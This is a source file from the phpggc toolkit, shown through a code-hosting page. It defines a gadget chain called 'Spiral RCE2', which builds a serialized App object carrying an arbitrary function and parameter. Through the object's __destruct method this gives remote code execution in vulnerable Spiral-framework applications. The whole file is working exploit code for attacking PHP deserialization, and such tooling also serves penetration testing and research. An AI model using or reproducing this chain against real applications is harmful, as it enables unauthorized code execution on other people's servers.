Codebase list phpggc / upstream/0.20210218+git20221219.0.ceae02a gadgetchains / Spiral / RCE / 2 / chain.php
upstream/0.20210218+git20221219.0.ceae02a

Tree @upstream/0.20210218+git20221219.0.ceae02a (Download .tar.gz)

chain.php @upstream/0.20210218+git20221219.0.ceae02araw · history · blame

<?php

namespace GadgetChain\Spiral;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '-2.8+';
    public static $vector = '__destruct';
    public static $author = 'CyanM0un';
    public static $information = 'execute the function and throw an error';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \App\App($function,$parameter);
    }
}